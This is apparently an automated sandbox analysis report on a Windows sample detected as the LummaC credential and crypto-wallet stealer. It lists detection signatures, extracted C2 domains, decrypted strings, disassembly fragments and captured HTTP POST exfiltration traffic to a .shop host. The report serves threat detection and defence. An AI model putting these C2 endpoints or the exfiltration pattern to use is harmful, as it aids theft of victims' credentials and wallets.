Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1429197
MD5:	0d86ddf0c76911fc888c0450f90c6f29
SHA1:	e074480d945cce752a586df7cca1dfea5baff533
SHA256:	07f56f9d4a21eb65c788a9a423af9205b01d2792563d6965ff8cb814be822524
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6244 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0D86DDF0C76911FC888C0450F90C6F29)

WerFault.exe (PID: 6712 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6244 -s 1468 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6896 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6244 -s 1688 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "strollheavengwu.shop"], "Build id": "P6Mk0M--key"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1838816831.0000000001CBE000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x16f0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Process Memory Space: file.exe PID: 6244	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6244	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.3.file.exe.3700000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "strollheavengwu.shop"], "Build id": "P6Mk0M--key"}

Multi AV Scanner detection for domain / URL

Source: tolerateilusidjukl.shop	Virustotal: Detection: 14%			Perma Link
Source: https://strollheavengwu.shop/api	Virustotal: Detection: 10%			Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 44%
Source: file.exe	Virustotal: Detection: 46%			Perma Link

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: demonstationfukewko.shop
Source: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: liabilitynighstjsko.shop
Source: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: alcojoldwograpciw.shop
Source: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: incredibleextedwj.shop
Source: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shortsvelventysjo.shop
Source: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shatterbreathepsw.shop
Source: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: tolerateilusidjukl.shop
Source: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: productivelookewr.shop
Source: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: strollheavengwu.shop
Source: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: P6Mk0M--key

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004162D6 CryptUnprotectData,

0_2_004162D6

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49737 version: TLS 1.2

Source:

Binary string: C:\kirovivi zadadowog.pdb source: file.exe

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_0043B3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edi, dword ptr [esi+000000B8h]	0_2_00410565
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_004156B6
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_004156B6
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], FD72A8C7h	0_2_00438879
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_00437998
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_00437998
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	0_2_00435B8B
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_0041CC60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_0041CC60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043AE80
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then inc ebx	0_2_00414FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ebx+ecx+02h], 0000h	0_2_0041AFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0041AFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043B060
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, ebx	0_2_00426097
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+1Ch]	0_2_00426097
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_0040D160
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	0_2_0041210C
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_0041B1E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_0043A182
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_0043A190
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_004222E7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_004222ED
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00439389
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00422422
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+40h]	0_2_004134B2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edi, bl	0_2_0043A5D0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_004245D4
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edi, dword ptr [esi+000000B8h]	0_2_00410565
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_00424678
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_004245A8
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043B6A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then lea eax, dword ptr [eax+eax*4]	0_2_004088F0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_0043B9D0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+edi]	0_2_0043B9D0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, edi	0_2_004069B4
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00417A65
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00417A1A
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then inc eax	0_2_0041DB22
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edi, dword ptr [esp]	0_2_00407C70
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov esi, dword ptr [eax+ebx*4]	0_2_00407C70
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	0_2_00437D40
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043AD70
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ebx, ecx	0_2_00410D77
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [esi+000005F0h], 00000000h	0_2_00410D77
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ebx, eax	0_2_00402D10
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00412E93
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then inc eax	0_2_00438F6A
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00431F80
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	0_2_03692373
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_036BA3E9
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_036BA3F7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_0368D3C7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ebx+ecx+02h], 0000h	0_2_0369B247
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0369B247
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then inc ebx	0_2_03695227
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, ebx	0_2_036A62FE
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+1Ch]	0_2_036A62FE
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_036BB2C7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_036B21E7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then inc eax	0_2_036B91D1
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_036BB0E7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_036930FA
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+40h]	0_2_03693719
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edi, dword ptr [esi+000000B8h]	0_2_036907CC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_036BB617
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_036A2689
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_036A254E
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_036A2554
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_036B95F0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_0369B447
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then lea eax, dword ptr [eax+eax*4]	0_2_03688B57
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_036B7BFF
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_036B7BFF
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then inc eax	0_2_0369DA12
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], FD72A8C7h	0_2_036B8AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_036A480F
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_036BB907
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_0369591D
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_0369591D
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_0369B917
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_036A483B
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edi, bl	0_2_036BA837
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_036A48DF
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ebx, eax	0_2_03682F77
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ebx, ecx	0_2_03690FDE
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [esi+000005F0h], 00000000h	0_2_03690FDE
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_036BAFD7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	0_2_036B7FA7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_0369CEC7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_0369CEC7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edi, dword ptr [esp]	0_2_03687ED7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov esi, dword ptr [eax+ebx*4]	0_2_03687ED7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	0_2_036B5DF2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_036BBC37
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+edi]	0_2_036BBC37
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_03697CCC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_03697C81

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: demonstationfukewko.shop
Source: Malware configuration extractor	URLs: liabilitynighstjsko.shop
Source: Malware configuration extractor	URLs: alcojoldwograpciw.shop
Source: Malware configuration extractor	URLs: incredibleextedwj.shop
Source: Malware configuration extractor	URLs: shortsvelventysjo.shop
Source: Malware configuration extractor	URLs: shatterbreathepsw.shop
Source: Malware configuration extractor	URLs: tolerateilusidjukl.shop
Source: Malware configuration extractor	URLs: productivelookewr.shop
Source: Malware configuration extractor	URLs: strollheavengwu.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18161Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8782Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20435Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5438Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1390Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 575016Host: strollheavengwu.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: strollheavengwu.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: strollheavengwu.shop

Source: file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.3.dr	String found in binary or memory: http://upx.sf.net
Source: file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.1660955789.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.sh
Source: file.exe, 00000000.00000003.1721375768.0000000001D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1650823034.0000000001D3D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1839375130.0000000001D81000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1650823034.0000000001D76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1660461101.0000000001D76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1721101611.0000000001D78000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1660955789.0000000001D1B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1650711919.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1660461101.0000000001D1A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1840151516.0000000004210000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/
Source: file.exe, 00000000.00000003.1721101611.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/9
